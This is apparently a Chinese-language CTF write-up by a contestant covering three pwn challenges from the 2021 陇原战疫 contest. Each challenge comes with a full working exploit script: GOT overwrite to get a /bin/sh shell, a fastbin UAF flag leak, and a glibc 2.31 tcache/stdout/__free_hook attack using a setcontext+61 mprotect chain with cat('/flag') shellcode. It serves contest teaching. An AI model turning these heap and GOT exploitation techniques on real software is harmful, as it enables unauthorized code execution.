陇原战疫2021网络安全大赛-pwn-wp

陇原战疫2021网络安全大赛-pwn-wp

今天正好有事情跟比赛冲突了,回到家已经八点多,花了一个小时左右做了三道pwn题,都是常规题。第四题忙活了半天没啥进展,想想还是先把前三题的wp写了。这里总结下每道题的解题思路:

  • bbbaby:题如其名
    • 首先修改__stack_chk_fail@gotputs@plt,只要能继续往后执行main函数就行
    • 利用main函数栈帧的溢出泄露出libc地址
    • 修改atoi@gotsystem,执行下get_int,输入/bin/sh即可获得shell
  • Magic:这题甚至都不需要给libc。题目加了很多无用的分支代码,需要花点时间分析下,其实题目很简单。
    • 有个空闲的0x230,应该是fopen分配出来的IO_FILE结构体。刚好能分配50x70。同时伪造一个0x70fastbin chunk的头。
    • 利用edit部分写修改fd为伪造的chunk
    • 分配到fake chunk
    • 利用edit泄露出flag
  • h3apclasslibc-2.31下的off by onesetcontext+61利用
    • 堆风水,获得一个unsorted bin chunk并制造overlapped chunk
    • 爆破4bit,概率为1/16。利用tcache bin分配到_IO_2_1_stdout_结构体上面,泄露libc地址
    • 同样的方式泄露heap地址。也可以直接用__free_hook附近的区域打,这样就不需要泄露堆地址
    • 利用tcache bin attack修改__free_hookmov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]
    • 最后用setcontext+61执行mprotect,然后跳转执行cat('/flag')shellcode读取到flag

bbbaby

checksec

image-20211107234049915

漏洞点

任意地址写:

image-20211107234215669

main函数的栈溢出:

image-20211107234245292

由于有canary,所以需要改掉__stack_chk_fail@got的内容

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
if gift['remote']:
    libc = ELF("./libc-2.23.so")

def write_any(addr, content):
    p.sendlineafter("your choice\n", "0")
    p.sendlineafter("address:\n", str(addr))
    p.sendafter("content:\n", content)


def stack_overflow(data):
    p.sendlineafter("your choice\n", "1")
    p.sendlineafter("size:\n", str(0x1000))
    p.sendafter("content:\n", data)

# change stack_chk

write_any(0x601020, p64(elf.plt.puts))

payload = flat({
    0x118:[
        0x0000000000400a03,
        elf.got.puts, 
        elf.plt.puts, 
        0x40086c,
        0x4007c7
    ]
})

stack_overflow(payload)

p.sendlineafter("your choice\n", "2")

libc_base = recv_libc_addr(p, offset=libc.sym.puts)
log_libc_base_addr(libc_base)
libc.address = libc_base

p.sendlineafter("address:\n", str(elf.got.atoi))
p.sendafter("content:\n", p64(libc.sym.system))

p.sendline("/bin/sh\x00")

get_flag_when_get_shell(p)

p.interactive()

远程打:

image-20211107234500663

Magic

checksec

image-20211107234544927

给的libc版本为2.23

漏洞点

UAF两处:

image-20211107234646019

image-20211107234737959

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def add(idx):
    p.sendlineafter("Input your choice: \n", "1\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.recvuntil("Search finished\n")


def edit(idx, data):
    p.sendlineafter("Input your choice: \n", "2\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.sendafter("Input the Magic\n", data)
    p.recvuntil("Magic> ")
    m = p.recvuntil(" <Magic")
    info(f"Get msg: {m}")
    return m


def dele(idx):
    p.sendlineafter("Input your choice: \n", "3\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.recvuntil("remove the Magic\n")


# alloc
add(0)
add(0)
add(0)
add(0)
add(1)

# prepare for a fake 0x70 chunk
edit(1, flat([0, 0, 0, 0x71]))
dele(1)
dele(0)

# partial overwrite 
edit(0, "\xe0")
add(0)
add(0)

# leak flag
edit(0, "a"*0x50)

p.interactive()

远程打:

image-20211107234939433

h3apclass

checksec

image-20211107235035475

保护全开,然后google了一下,libc版本为2.31-0ubuntu9.2_amd64

漏洞点

image-20211107235153925

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

context.update(timeout=3)

def add(idx, size, data="deadbeef"):
    p.sendlineafter("4:Drop homework\n", "1")
    p.sendlineafter("Which homework?\n", str(idx))
    p.sendlineafter("size:\n", str(size))
    p.sendafter("content:\n", data)

def edit(idx, data):
    p.sendlineafter("4:Drop homework\n", "3")
    p.sendlineafter("Which homework?\n", str(idx))
    p.sendafter("content:\n", data)


def dele(idx):
    p.sendlineafter("4:Drop homework\n", "4")
    p.sendlineafter("Which homework?\n", str(idx))

cat_flag = asm(shellcraft.amd64.linux.cat("/flag"))

# forge 0x500 chunk
add(0, 0x18, 0x18*"a")
add(1, 0xf8)
add(2, 0xf8)
add(3, 0xf8)
add(4, 0xf8)
add(5, 0xf8)
add(6, 0x18)

# free space
dele(6)
dele(5)
dele(4)
dele(3)
dele(2)

# chaneg size
edit(0, 0x18*"a" + "\x01\x05")
dele(1)

# consume 0x100
add(1, 0x70)
add(2, 0x70)

log_ex(f"Now try to attack stdout...")

if gift['debug']:
    payload = p16_ex(get_current_libcbase_addr() + libc.sym['_IO_2_1_stdout_'])
else:
    payload = p16_ex(0x86a0)

add(3, 0x70, payload)

# free space
dele(1)
dele(2)

add(1, 0xf8)

# leak libc addr
add(2, 0xf8, flat([
    0xfffffbad1887, 0, 0, 0, "\x00"
]))

libc_base = recv_libc_addr(p) - 0x1eb980
log_libc_base_addr(libc_base)
libc.address = libc_base

dele(1)
dele(0)

# leak heap addr
edit(3, p64(libc.sym['_IO_2_1_stdout_'])[:6])
add(0, 0x70)
add(1, 0x70, flat([
    0xfbad1887, 0, 0, 0, libc.sym['__curbrk']-8,libc.sym['__curbrk']+8
]))

m = p.recvn(16)
heap_base = u64_ex(m[8:]) - 0x21000
log_heap_base_addr(heap_base)

dele(0)
# change __free_hook
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
edit(3, p64(libc.sym['__free_hook'])[:6])
add(0, 0x70, cat_flag)
add(4, 0x70, p64_ex(0x0000000000154930 + libc_base))

# read flag
cur_heap = heap_base + 0x1450

payload = flat({
    8: cur_heap,
    0x20: libc.sym['setcontext']+61,
    0x30: heap_base + 0x13d0,
    0xa0: cur_heap+0x30, # rsp
    0xa8: libc.sym['mprotect'],
    0x68: heap_base,
    0x70: 0x4000,
    0x88: 7
})

add(5, 0xe8, payload)

dele(5)

m = p.recvline_contains("flag")

if b"flag" in m:
    log_ex_highlight(f"Get flag: {m}")
    sleep(20)

p.close()

然后加一个shell脚本跑一会儿就能拿到flag了。

1
2
3
4
5
#!/bin/bash
for i in {1..10}
do
    python3 exp.py re ./H3apClass -p 25373 -nl
done

远程打:

image-20211108000859215

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%